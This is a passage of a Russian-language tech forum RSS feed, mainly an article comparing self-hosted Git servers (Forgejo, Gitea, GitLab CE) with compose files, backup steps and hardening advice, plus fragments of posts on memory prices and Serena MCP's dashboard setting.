&#x431;&#x443;&#x434;&#x443;. &#x41E;&#x431;&#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x43E; &#x43C;&#x43E;&#x436;&#x43D;&#x43E; &#x441;&#x43A;&#x430;&#x437;&#x430;&#x442;&#x44C; &#x434;&#x440;&#x443;&#x433;&#x43E;&#x435; &#x2014; &#x441;&#x435;&#x431;&#x435;&#x441;&#x442;&#x43E;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x44C; &#x433;&#x438;&#x433;&#x430;&#x431;&#x430;&#x439;&#x442;&#x430; &#x443; &#x445;&#x43E;&#x441;&#x442;&#x435;&#x440;&#x430; &#x440;&#x430;&#x441;&#x442;&#x451;&#x442; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x435; &#x441; &#x440;&#x44B;&#x43D;&#x43A;&#x43E;&#x43C;, &#x430; &#x442;&#x430;&#x440;&#x438;&#x444;&#x43D;&#x44B;&#x435; &#x43B;&#x438;&#x43D;&#x435;&#x439;&#x43A;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x43C;&#x430;&#x442;&#x440;&#x438;&#x432;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43F;&#x440;&#x438; &#x43E;&#x431;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x438;&#x438; &#x43F;&#x430;&#x440;&#x43A;&#x430;, &#x442;&#x43E; &#x435;&#x441;&#x442;&#x44C; &#x441; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x43E;&#x439;. 
&#x41F;&#x440;&#x430;&#x43A;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x445; &#x432;&#x44B;&#x432;&#x43E;&#x434;&#x43E;&#x432; &#x438;&#x437; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x434;&#x432;&#x430;. &#x414;&#x43E;&#x43B;&#x433;&#x43E;&#x441;&#x440;&#x43E;&#x447;&#x43D;&#x44B;&#x439; &#x442;&#x430;&#x440;&#x438;&#x444; &#x441; &#x437;&#x430;&#x444;&#x438;&#x43A;&#x441;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x43E;&#x439; &#x446;&#x435;&#x43D;&#x43E;&#x439; &#x438; &#x43F;&#x440;&#x438;&#x43B;&#x438;&#x447;&#x43D;&#x44B;&#x43C; &#x43E;&#x431;&#x44A;&#x451;&#x43C;&#x43E;&#x43C; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438; &#x441;&#x435;&#x439;&#x447;&#x430;&#x441; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x440;&#x430;&#x441;&#x441;&#x43C;&#x430;&#x442;&#x440;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x43A;&#x430;&#x43A; &#x430;&#x43A;&#x442;&#x438;&#x432;: &#x43F;&#x440;&#x43E;&#x434;&#x43B;&#x435;&#x432;&#x430;&#x442;&#x44C; &#x435;&#x433;&#x43E; &#x432;&#x44B;&#x433;&#x43E;&#x434;&#x43D;&#x435;&#x435;, &#x447;&#x435;&#x43C; &#x43C;&#x438;&#x433;&#x440;&#x438;&#x440;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x440;&#x430;&#x434;&#x438; &#x44D;&#x43A;&#x43E;&#x43D;&#x43E;&#x43C;&#x438;&#x438; &#x43F;&#x430;&#x440;&#x44B; &#x434;&#x43E;&#x43B;&#x43B;&#x430;&#x440;&#x43E;&#x432;. &#x418; &#x43D;&#x430;&#x43E;&#x431;&#x43E;&#x440;&#x43E;&#x442; &#x2014; &#x435;&#x441;&#x43B;&#x438; &#x432; &#x43F;&#x43B;&#x430;&#x43D;&#x430;&#x445; &#x43F;&#x435;&#x440;&#x435;&#x435;&#x437;&#x434; &#x43D;&#x430; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x44E; &#x43F;&#x43E;&#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435;, &#x446;&#x435;&#x43D;&#x443; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x432;&#x44B;&#x44F;&#x441;&#x43D;&#x438;&#x442;&#x44C; &#x437;&#x430;&#x440;&#x430;&#x43D;&#x435;&#x435;, &#x430; &#x43D;&#x435; &#x432; &#x442;&#x43E;&#x442; &#x43C;&#x43E;&#x43C;&#x435;&#x43D;&#x442;, &#x43A;&#x43E;&#x433;&#x434;&#x430; &#x443;&#x43F;&#x440;&#x451;&#x442;&#x435;&#x441;&#x44C; &#x432; &#x43B;&#x438;&#x43C;&#x438;&#x442;. 
&#x41E;&#x431;&#x449;&#x435;&#x435; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x43E; &#x434;&#x43B;&#x44F; &#x432;&#x441;&#x435;&#x445; &#x442;&#x440;&#x451;&#x445; &#x441;&#x438;&#x442;&#x443;&#x430;&#x446;&#x438;&#x439; &#x43E;&#x434;&#x438;&#x43D;&#x430;&#x43A;&#x43E;&#x432;&#x43E;&#x435;: &#x441;&#x43F;&#x435;&#x440;&#x432;&#x430; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x438;&#x435;, &#x43F;&#x43E;&#x442;&#x43E;&#x43C; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x430;. &#x41F;&#x440;&#x438; &#x446;&#x435;&#x43D;&#x43D;&#x438;&#x43A;&#x435; 572 &#x434;&#x43E;&#x43B;&#x43B;&#x430;&#x440;&#x430; &#x437;&#x430; &#x448;&#x435;&#x441;&#x442;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C; &#x433;&#x438;&#x433;&#x430;&#x431;&#x430;&#x439;&#x442; &#x43E;&#x448;&#x438;&#x431;&#x43A;&#x430; &#xAB;&#x432;&#x437;&#x44F;&#x43B; &#x441; &#x437;&#x430;&#x43F;&#x430;&#x441;&#x43E;&#x43C;, &#x430; &#x43D;&#x435; &#x43F;&#x440;&#x438;&#x433;&#x43E;&#x434;&#x438;&#x43B;&#x43E;&#x441;&#x44C;&#xBB; &#x43F;&#x43E;&#x434;&#x43E;&#x440;&#x43E;&#x436;&#x430;&#x43B;&#x430; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x432;&#x43E; &#x441;&#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x436;&#x435; &#x440;&#x430;&#x437;, &#x432;&#x43E; &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x43E;&#x434;&#x43E;&#x440;&#x43E;&#x436;&#x430;&#x43B;&#x430; &#x441;&#x430;&#x43C;&#x430; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x44C;. 
&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x41A;&#x43E;&#x43C;&#x443;-&#x43D;&#x438;&#x431;&#x443;&#x434;&#x44C; &#x44D;&#x442;&#x43E; &#x443;&#x436;&#x435; &#x441;&#x43E;&#x440;&#x432;&#x430;&#x43B;&#x43E; &#x43F;&#x43B;&#x430;&#x43D;&#x44B; &#x2014; &#x43F;&#x440;&#x438;&#x448;&#x43B;&#x43E;&#x441;&#x44C; &#x43E;&#x442;&#x43B;&#x43E;&#x436;&#x438;&#x442;&#x44C; &#x430;&#x43F;&#x433;&#x440;&#x435;&#x439;&#x434; &#x438;&#x43B;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x44E;? &#x418; &#x432;&#x441;&#x442;&#x440;&#x435;&#x447;&#x43D;&#x44B;&#x439; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441;: &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x430;&#x43C;&#x44F;&#x442;&#x438; &#x443; &#x432;&#x430;&#x441; &#x437;&#x430;&#x43D;&#x44F;&#x442;&#x43E; &#x43F;&#x43E;&#x434; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x43D;&#x430;&#x433;&#x440;&#x443;&#x437;&#x43A;&#x43E;&#x439;, &#x435;&#x441;&#x43B;&#x438; &#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x442;&#x44C; &#x43D;&#x430; available, &#x430; &#x43D;&#x435; &#x43D;&#x430; &#x43A;&#x440;&#x430;&#x441;&#x438;&#x432;&#x44B;&#x439; &#x433;&#x440;&#x430;&#x444;&#x438;&#x43A;? 

&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;
Tom's Hardware &#x2014; Memory prices climb 500% in 12 months, 17.08.2026TrendForce &#x2014; Germany DDR5 Prices Near 5X YoY in August, 17.08.2026</description><pubDate>Wed, 19 Aug 2026 05:27:43 +0000</pubDate></item><item><title>&#x421;&#x432;&#x43E;&#x439; Git-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x432; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x435;: &#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43D;&#x430; &#x441;&#x430;&#x43C;&#x43E;&#x43C; &#x434;&#x435;&#x43B;&#x435; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43D;&#x435;&#x437;&#x430;&#x432;&#x438;&#x441;&#x438;&#x43C;&#x43E;&#x441;&#x442;&#x44C; &#x43E;&#x442; GitHub</title><link><![CDATA[https://openode.xyz/topic/2046-%D1%81%D0%B2%D0%BE%D0%B9-git-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80-%D0%B2-%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%B9%D0%BD%D0%B5%D1%80%D0%B5-%D1%81%D0%BA%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE-%D0%BD%D0%B0-%D1%81%D0%B0%D0%BC%D0%BE%D0%BC-%D0%B4%D0%B5%D0%BB%D0%B5-%D1%81%D1%82%D0%BE%D0%B8%D1%82-%D0%BD%D0%B5%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C-%D0%BE%D1%82-github/?do=findComment&comment=9216]]></link><description><![CDATA[Forgejo, Gitea и GitLab CE — три способа держать репозитории у себя
Вопрос «а что если завтра GitHub не откроется» из умозрительного стал вполне конкретным: минувшим понедельником платформа провела в аварийном состоянии почти восемь часов подряд. Отказывала каждая пятая попытка обратиться к вебу или API, а архивы и сырое содержимое репозиториев не отдавались примерно в половине случаев. 
Реакция сообщества оказалась предсказуемой — обсуждение замен на Hacker News перевалило за пять сотен голосов, а Cursor тем же днём открыл бету собственного хранилища репозиториев. Разбираться будем не с эмоциями, а с арифметикой: какие компоненты вашей работы физически лежат на чужих серверах, чем их заменить и во сколько человеко-часов встанет содержание замены. 
Инвентаризация: что у вас на самом деле чужое
Прежде чем выбирать форж, стоит разложить хозяйство по полочкам. «Код» — далеко не единственный пункт списка: 
Репозитории. Тут беспокоиться не о чем: модель git распределённая, полная история лежит на каждой машине разработчика. Единственный слой, переживающий гибель платформы сам по себе.Задачи, запросы на слияние, ревью, обсуждения. К git не имеют отношения — это записи в базе платформы, доступные только через её API.Сборочные конвейеры. Описания хранятся в репозитории, а вот исполнители, кэши и секреты — уже нет.Релизы и бинарники. Ссылка вида github.com/.../releases/download/... внутри вашего установщика означает, что авария GitHub ломает установку у ваших пользователей.Образы и пакеты. ghcr.io — это тоже GitHub.Pages. Сайт с документацией.Вход и права. Об этом ниже отдельно.
❗ Главное Есть мера, которая не требует смены платформы вообще. Проверьте, тянет ли что-нибудь на критическом пути файлы из releases или образы из ghcr.io — и заведите зеркало. По соотношению «затраты к снятой боли» это самое выгодное действие из всего списка. 
Хроника понедельника по официальной ленте
Ниже — отметки со страницы статуса GitHub, время указано в UTC. 
UTCФормулировка из ленты13:40«Мы расследуем сообщения о деградации производительности некоторых сервисов GitHub»13:45«Наблюдаем примерно 20 % ошибок в разных сценариях, включая Pull Requests, Issues и другие»14:58около 20 % ошибок на вебе и API; архивы и raw-содержимое — порядка 50 % ошибок15:42в списке пострадавших также SAML- и OIDC-аутентификация, SCIM и Team Sync17:34«Мы определили проблемный компонент и приняли меры», остаточное влияние сохраняется20:45спорадические сбои аутентификации Copilot продолжаются; через CLI и GitHub App работает21:15инцидент закрыт, подробный разбор причин обещан отдельно
От первого сообщения до закрытия — 7 часов 35 минут. В списке пострадавшего: операции git, API, вебхуки, Issues, Pull Requests, Actions, Pages, Copilot. 
📌 Заметка Строчка за 15:42 интереснее остальных. Легла не «выдача страничек», а корпоративный вход и синхронизация команд. Организация, у которой доступ к репозиториям построен вокруг SSO, в этот момент не могла выдать доступ ни новому сотруднику, ни новой машине в конвейере — вообще никаким способом. 
Компоненты стека и порты по умолчанию — по официальной документации Forgejo, Gitea и GitLab
Как выбирать, если не по числу галочек
Табличка «у кого больше функций» бесполезна: задачи, запросы на слияние, вики, LFS и API есть у всех трёх кандидатов. Расхождения начинаются там, где считают память, и там, где решают, куда проекту двигаться. 
Ресурсные ориентиры: для GitLab взяты из docs.gitlab.com, у Forgejo и Gitea официального минимума в документации не заявлено
Когда форж не нужен вовсе
Задача «иметь свою копию нескольких репозиториев» решается голым bare-репозиторием по SSH, без единого дополнительного сервиса: 
# на сервере
sudo adduser --disabled-password git
sudo -u git mkdir -p /home/git/repos/myproject.git
sudo -u git git init --bare /home/git/repos/myproject.git

# на рабочей машине
git remote add mirror git@myserver:/home/git/repos/myproject.git
git push --mirror mirror
Обновлять нечего, поверхность атаки не выходит за пределы sshd. Веб-интерфейса, задач и сборок не будет — но их в этой постановке и не просили. 
Forgejo и Gitea — родня с разной родословной
Forgejo появился в октябре 2022 года как ответвление Gitea; жёстким форком, по формулировке самого проекта, он стал в начале 2024-го. До версии v8.0 включительно распространялся под MIT, с v9.0 — под GPL-3.0+. Домены принадлежат берлинской некоммерческой организации Codeberg e.V. 
⚠️ Осторожно Страница «сравнение с Gitea» на сайте Forgejo — позиция стороны спора, а не независимая экспертиза. Проверяемое оттуда: даты, смена лицензии, принадлежность доменов. Оценки в духе «максимизируют прибыль» проверке не поддаются — выводы делайте сами. 
Актуальные номера версий на день публикации: Forgejo 16.0.2 (стабильная ветка, выпуск 30 июля 2026, сопровождение до 29 октября 2026) и 15.0.6 в ветке долгой поддержки — до 15 июля 2027. У Gitea свежая — 1.27.2, вышла 14 августа 2026. 
Compose-файл из документации Forgejo: 
networks:
  forgejo:
    external: false

services:
  server:
    image: codeberg.org/forgejo/forgejo:16
    container_name: forgejo
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
    networks:
      - forgejo
    volumes:
      - ./forgejo:/data
      - /etc/localtime:/etc/localtime:ro
    ports:
      - '3000:3000'
      - '222:22'
Различий с Gitea ровно три: название сети, образ docker.gitea.com/gitea:1.27.2 и дополнительный проброс /etc/timezone: 
services:
  server:
    image: docker.gitea.com/gitea:1.27.2
    container_name: gitea
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
    volumes:
      - ./gitea:/data
      - /etc/timezone:/etc/timezone:ro
      - /etc/localtime:/etc/localtime:ro
    ports:
      - "3000:3000"
      - "222:22"
⛔ Так делать нельзя Порт 3000:3000 наружу выставлять нельзя, а мастер первичной настройки нельзя оставлять доступным. При первом старте Forgejo и Gitea показывают форму установки без всякой авторизации — администратором станет тот, кто откроет её первым. Верная последовательность: контейнер слушает 127.0.0.1:3000, перед ним ставится обратный прокси с TLS, и только затем вы заходите по HTTPS и проходите установку. 
Привязка к петлевому интерфейсу — правка одной строки: 
    ports:
      - '127.0.0.1:3000:3000'
      - '222:22'
И четыре строки в Caddyfile, сертификат Caddy оформит сам: 
git.example.com {
    reverse_proxy 127.0.0.1:3000
}
ℹ️ Справка Откуда берётся 222. В контейнере работает собственный SSH-демон форжа, к системному sshd отношения не имеющий, — отсюда адреса клонирования вида ssh://git@git.example.com:222/user/repo.git. Хочется привычной короткой записи без номера порта — есть два пути. Либо контейнерный SSH переезжает на 22, а системный уходит на другой номер; либо ключи прокидываются через хостовый authorized_keys с командой-обёрткой. Первый вариант ставится быстрее, второй меньше рискует, когда на машине живёт что-то ещё. 
Заявленного минимума по памяти у Forgejo и Gitea в документации нет — ни в разделе про бинарник, ни в разделе про контейнеры. Эмпирический ориентир для команды из нескольких человек: гигабайта на весь стек с SQLite обычно достаточно. Как только к схеме добавляются исполнители сборок, ориентир перестаёт работать: конвейер потребляет столько, сколько потребляет ваш проект. 
Резервная копия, которая копия
Встроенная команда снятия дампа есть у обоих проектов. Вариант из документации для контейнера (пример на Gitea; у Forgejo команда называется forgejo dump): 
docker exec -u git -it -w /tmp $(docker ps -qf 'name=^gitea$') \
  bash -c '/usr/local/bin/gitea dump -c /data/gitea/conf/app.ini'
Внутри получившегося архива: app.ini, каталоги custom/ и data/ (вложения, аватары, LFS, индексы, файл SQLite), полный слепок repos/, SQL-дамп gitea-db.sql и журналы. Последние для восстановления не требуются. 
⚠️ Осторожно В документации Gitea есть прямая оговорка: ради консистентности сервис на время снятия дампа положено останавливать. Снимок с работающего экземпляра рискует застать базу и файлы репозиториев в рассогласованном состоянии. В домашних условиях это означает короткое ночное окно с docker compose stop, а не расчёт на «авось совпадёт». 
Сборки: место, где «один контейнер» заканчивается
Оба форжа умеют конвейеры с синтаксисом, похожим на GitHub Actions. Именно похожим: документация Forgejo не даёт себя обмануть и пишет прямым текстом — «GitHub Actions и Forgejo Actions — не одно и то же, и что-то может не заработать сразу». Контекст github отдан как псевдоним к forgejo ради переносимости, но совпадения возможностей никто не обещает. 
Задокументированные ограничения: 
запрос на слияние из форка получает урезанный доступ к секретам и токен только на чтение;OIDC для событий pull_request из форков выключен;пользовательский образ контейнера не обновляется автоматически никогда — только первая загрузка;сезонный перевод часов ломает расписания: сдвиг вперёд пропускает запуск, сдвиг назад запускает дважды;переиспользуемые workflow раскрываются только внутри своего экземпляра, ссылка на чужой сервер не сработает.
🔒 Безопасность Исполнителю почти всегда просят выдать /var/run/docker.sock. Владение этим сокетом равносильно правам root на хосте: кто создаёт контейнеры, тот монтирует корень файловой системы. При наличии публичных репозиториев и внешних участников держать такого исполнителя на одной машине с самим форжем недопустимо. Минимум приличий — отдельная виртуалка под исполнителя плюс явный запрет запускать конвейеры из форков. 
GitLab CE: за что платим шестнадцатью гигабайтами
Здесь другая весовая категория, и документация не скрывает цифр. Одноузловая установка: базовая линия — 8 vCPU и 16 ГБ оперативной памяти; в стеснённых условиях допустимы 8 ГБ с оговоркой про производительность; 40 ГБ на узел приложения плюс отдельно место под репозитории и базы. 
Официальный запуск редакции CE: 
sudo docker run --detach \
  --hostname gitlab.example.com \
  --env GITLAB_OMNIBUS_CONFIG="external_url 'http://gitlab.example.com'" \
  --publish 443:443 --publish 80:80 --publish 22:22 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  --shm-size 256m \
  gitlab/gitlab-ce:&lt;version&gt;-ce.0
Один образ упаковывает приложение на Rails, PostgreSQL, Redis, Sidekiq, Nginx, Prometheus и ещё десяток частей. Отсюда и --shm-size 256m, и аппетит к памяти, и старт, измеряемый минутами. 
Что достаётся взамен: вложенные группы (их отсутствие у Gitea зафиксировано в её же сравнительной таблице), разрешение конфликтов слияния прямо в интерфейсе, конвейеры без отдельной обвязки и куда более развитый инструментарий ревью. 
⚠️ Осторожно Оборотная сторона обнаружилась в тот же день, что и авария GitHub. 17 августа 2026 года GitLab выкатил критические патч-версии 19.2.4, 19.1.6, 19.0.8 и 18.11.11. Закрыты CVE-2026-19478 — внедрение кода через директиву GraphQL, CVSS 9.4 — и CVE-2026-19650, подделка межсайтового запроса в обработчике multiplex-запросов GraphQL, CVSS 7.1. Уязвимы CE и EE начиная с 18.2. Держите форж у себя — значит реагировать на такие письма придётся вам, и не «на неделе», а в тот же день. 
Переезд: чему верить и что проверять руками
Импорт репозиториев с GitHub вместе с метаданными есть и у Gitea, и у Forgejo — в форме миграции присутствуют флажки для задач, запросов на слияние, релизов, меток и вех. Документация Gitea при этом до странности скупа: сказано лишь, что для переноса подобных элементов понадобится указать как минимум имя пользователя. Перечня переносимого нет, списка ограничений нет. Про GitLab упомянут сторонний инструмент — и снова без подробностей. 
Обещаний, таким образом, немного. Проверять придётся на собственных данных. 
✅ Как правильно Форж поднят, но рабочий процесс не тронут — GitHub пока главный.Переносится один средний репозиторий с задачами и запросами на слияние. Смотреть глазами: авторы комментариев, даты, ссылки вида #123, вложения.Остальные репозитории зеркалируются в одну сторону: GitHub — источник, форж — копия.Так живём минимум месяц, обязательно захватив одно обновление форжа. Прошло без ручного вмешательства — можно думать дальше.Направление меняется: источником становится форж, GitHub остаётся зеркалом для посторонних.Четвёртый шаг пропускают чаще всех — а именно он отвечает на вопрос, потянете ли вы это в долгую. 
Постоянные издержки, которые никто не считает
Разовая часть укладывается в вечер: контейнер, обратный прокси, резервное копирование, импорт. Дальше начинается регулярная: 
Обновления по чужому расписанию. Патчи безопасности выходят когда выходят — история с GitLab 19.2.4 ровно про это.Копии, которые вы разворачивали. По составу достаточно дампа базы и каталога /data; резервная копия, ни разу не восстановленная, резервной копией не является.Рост диска. Репозитории, LFS, реестр пакетов и артефакты сборок пухнут независимо друг от друга, и место обычно кончается под артефактами.Наблюдение. Форж, упавший в пятницу и обнаруженный в понедельник, хуже отсутствующего форжа. Нужно хотя бы уведомление о недоступности и о заканчивающемся месте.Доступность. У GitHub набежало 7 часов 35 минут за один день. У одиночного VPS без реплики за год может набежать больше — просто эти часы никто не считает и в новости они не попадают.
💬 Вопрос к сообществу Расскажите, у кого что в бою. Переехавшие на Forgejo или Gitea — сколько часов в месяц уходит на присмотр и что после GitHub оказалось неожиданно неудобным? Отдельно любопытно про исполнителей сборок: держите их рядом с форжем или увели на отдельную машину? 

Источники
GitHub Status — Incident with GitHub.com, 17.08.2026Forgejo Releases · Forgejo Docs — Installation with Docker · Forgejo Docs — Actions · Forgejo — Compare to Gitea · Forgejo FAQGitea Blog — релизы · Gitea Docs — Install with Docker · Gitea Docs — Comparison · Gitea Docs — Migration · Gitea Docs — Backup and RestoreGitLab Docs — Installation requirements · GitLab Docs — Install with Docker · GitLab Critical Patch Release 19.2.4, 17.08.2026Cursor Changelog — Origin, 17.08.2026]]></description><pubDate>Wed, 19 Aug 2026 05:26:13 +0000</pubDate></item><item><title>&#x41A;&#x430;&#x43A; &#x43E;&#x442;&#x443;&#x447;&#x438;&#x442;&#x44C; Serena MCP &#x43F;&#x43B;&#x43E;&#x434;&#x438;&#x442;&#x44C; &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x438; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x430; &#x2014; &#x438; &#x447;&#x442;&#x43E; &#x435;&#x449;&#x451; &#x435;&#x441;&#x442;&#x44C; &#x432; &#x435;&#x451; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x435;</title><link><![CDATA[https://openode.xyz/topic/2045-%D0%BA%D0%B0%D0%BA-%D0%BE%D1%82%D1%83%D1%87%D0%B8%D1%82%D1%8C-serena-mcp-%D0%BF%D0%BB%D0%BE%D0%B4%D0%B8%D1%82%D1%8C-%D0%B2%D0%BA%D0%BB%D0%B0%D0%B4%D0%BA%D0%B8-%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0-%D0%B8-%D1%87%D1%82%D0%BE-%D0%B5%D1%89%D1%91-%D0%B5%D1%81%D1%82%D1%8C-%D0%B2-%D0%B5%D1%91-%D0%BA%D0%BE%D0%BD%D1%84%D0%B8%D0%B3%D0%B5/?do=findComment&comment=9215]]></link><description>&#x41A;&#x430;&#x436;&#x434;&#x44B;&#x439; &#x441;&#x442;&#x430;&#x440;&#x442; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x2014; &#x43C;&#x438;&#x43D;&#x443;&#x441; &#x43E;&#x434;&#x43D;&#x430; &#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x430;&#x44F; &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43A;&#x430; &#x432; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440;&#x435;

&#x41A;&#x430;&#x440;&#x442;&#x438;&#x43D;&#x430;, &#x437;&#x43D;&#x430;&#x43A;&#x43E;&#x43C;&#x430;&#x44F; &#x432;&#x441;&#x44F;&#x43A;&#x43E;&#x43C;&#x443;, &#x43A;&#x442;&#x43E; &#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x43B; Serena &#x43A; Claude Code &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x447;&#x435;&#x43C; &#x432; &#x43E;&#x434;&#x43D;&#x43E;&#x43C; &#x440;&#x435;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x438;. &#x421;&#x442;&#x430;&#x440;&#x442;&#x443;&#x435;&#x442; &#x441;&#x435;&#x441;&#x441;&#x438;&#x44F; &#x2014; &#x431;&#x440;&#x430;&#x443;&#x437;&#x435;&#x440; &#x443;&#x441;&#x43B;&#x443;&#x436;&#x43B;&#x438;&#x432;&#x43E; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434; Serena. &#x41F;&#x435;&#x440;&#x435;&#x437;&#x430;&#x43F;&#x443;&#x441;&#x442;&#x438;&#x43B;&#x441;&#x44F; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440; &#x2014; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x441;&#x43D;&#x43E;&#x432;&#x430;. &#x41A; &#x432;&#x435;&#x447;&#x435;&#x440;&#x443; &#x432;&#x43A;&#x43B;&#x430;&#x434;&#x43E;&#x43A; &#x441; &#x430;&#x434;&#x440;&#x435;&#x441;&#x43E;&#x43C; localhost:24282 &#x43D;&#x430;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x448;&#x442;&#x443;&#x43A; &#x43F;&#x44F;&#x442;&#x43D;&#x430;&#x434;&#x446;&#x430;&#x442;&#x44C;, &#x438; &#x443;&#x431;&#x438;&#x440;&#x430;&#x442;&#x44C; &#x438;&#x445; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x432;&#x440;&#x443;&#x447;&#x43D;&#x443;&#x44E;. 

&#x412;&#x441;&#x44F; &#x438;&#x441;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x447;&#x438;&#x43D;&#x438;&#x442;&#x441;&#x44F; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x43E;&#x439; &#x432; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x435;, &#x43D;&#x43E; &#x43F;&#x440;&#x435;&#x436;&#x434;&#x435; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43F;&#x43E;&#x43D;&#x44F;&#x442;&#x44C;, &#x43E;&#x442;&#x43A;&#x443;&#x434;&#x430; &#x43E;&#x43D;&#x430; &#x431;&#x435;&#x440;&#x451;&#x442;&#x441;&#x44F;. 

&#x42D;&#x442;&#x43E; &#x43D;&#x435; &#x441;&#x431;&#x43E;&#x439;, &#x430; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435; &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E;

&#x412; &#x448;&#x430;&#x431;&#x43B;&#x43E;&#x43D;&#x435; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x438; Serena &#x43A;&#x43B;&#x44E;&#x447; web_dashboard_open_on_launch &#x438;&#x43C;&#x435;&#x435;&#x442; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x435; True: &#x441;&#x442;&#x430;&#x440;&#x442; MCP-&#x441;&#x435;&#x440;&#x432;&#x435;&#x440;&#x430; &#x441;&#x43E;&#x43F;&#x440;&#x43E;&#x432;&#x43E;&#x436;&#x434;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x43C; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x438;&#x435;&#x43C; &#x434;&#x430;&#x448;&#x431;&#x43E;&#x440;&#x434;&#x430;. &#x417;&#x430;&#x43C;&#x44B;&#x441;&#x435;&#x43B; &#x43F;&#x43E;&#x43D;&#x44F;&#x442;&#x43D;&#x44B;&#x439; &#x2014; &#x441;&#x434;&#x435;&#x43B;&#x430;&#x442;&#x44C; &#x443;&#x434;&#x43E;&#x431;&#x43D;&#x43E;. 

